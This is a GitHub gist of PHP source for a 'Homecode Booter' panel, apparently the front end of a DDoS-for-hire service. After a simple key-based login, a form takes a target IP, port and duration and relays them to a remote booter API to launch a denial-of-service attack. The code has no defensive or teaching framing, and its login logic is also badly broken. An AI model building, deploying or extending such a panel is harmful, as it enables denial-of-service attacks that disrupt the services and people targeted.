Skip to content

Instantly share code, notes, and snippets.

@Immortal-
Created November 2, 2012 02:40
Show Gist options
  • Save Immortal-/3998353 to your computer and use it in GitHub Desktop.
Save Immortal-/3998353 to your computer and use it in GitHub Desktop.
first commit
<?php
$key = "YOURAPKEY";
$acc = "YOURUSERNAME";
$salt = "YOURSALT";
$user = $_GET['usr'];
$usrkey = $_GET['ky'];
$cmd = $_GET['cmd'];
session_start();
if(isset($_POST['lgnbtn'])){
if($usrkey == get_userkey($user,$salt)){
$_SESSION['lgn'] = true;
}else{
$_SESSION['lgn'] = false;
}
}
if(isset($_SESSION['lgn'])){
$lgn = true;
}
function get_userkey($user,$salt){
$data = md5(sha1($user . $salt));
return $data;
}
function logout(){
session_destroy();
header("Location: index.php");
die();
return null;
}
function Register($user, $salt){
$data = md5(sha1($user . $salt));
return $data;
}
if($cmd == "lgout"){
logout();
}
if($cmd == "Admreg"){
echo Register($user,$salt);
}
function grab_Data($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
if(isset($_POST['sndAtt'])){
$host = $_POST['ip'];
$port = $_POST['prt'];
$time = $_POST['tme'];
$api = "YOURAPIHEREapi.php?host=$host&port=$port&time=$time&key=$key&user=$acc";
}
?>
<!DOCTYPE html>
<head>
<title>Homecode Booter</title>
<style>
.logo{
padding-top:5px;
background-color:rgb(32,32,32)
}
</style>
</head>
<body>
<div class="logo" align="center" >
<?php if($lgn){
echo "<img src = '/img/logo.php?t=Booter&color=57' />";
}else{
echo "<img src = '/img/logo.php?t=Login!&color=57' />";
}
?>
<br />
</div>
<?php if(!$lgn){ ?>
<form action = "" method = "post">
<p>Username: <input type="text" name="usr" /></p>
<p>Key: <input type="password" name="ky" /></p>
<input type="submit" value="Login" name="lgnbtn" />
</form>
<?php }
if($lgn){?>
<br />
<a href="index.php?cmd=lgout">Logout</a>
<p>
<form action = "" method="post">
<p>Ip: <input type="text" name="ip" /></p>
<p>Port: <input type="text" name="prt" /></p>
<p>Time: <input type="text" name="tme" /></p>
<input type="submit" value="Sent Attack" name="sndAtt" />
<?php if(isset($_POST['sndAtt'])){ echo grab_Data($api);}?>
</form>
</p>
<?php }?>
</body>
</html>
<?php
$security_code = $_GET['t'];
$newcolor = $_GET['color'];
if($security_code ==""){
$security_code = "HomeCoded";
}
$width = 140;
$height = 40;
$new = imagecreatetruecolor($width, $height);
if($newcolor == "white"){
$black = ImageColorAllocate($new, 255, 255, 255);
}else{
$black = ImageColorAllocate($new, 0, 0, 0);
}
if($newcolor == "57"){
$black = ImageColorAllocate($new, 57, 57, 57);
}else{
$black = ImageColorAllocate($new, 0, 0, 0);
}
$color = imagecolorallocatealpha($new, 0, 0, 0, 127);
ImageFill($new, 0, 0, $color);
Imagesavealpha($new, TRUE);
ImageString($new, 72, 2, 2, $security_code, $black);
header("Content-Type: image/png");
ImagePng($new);
ImageDestroy($new);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment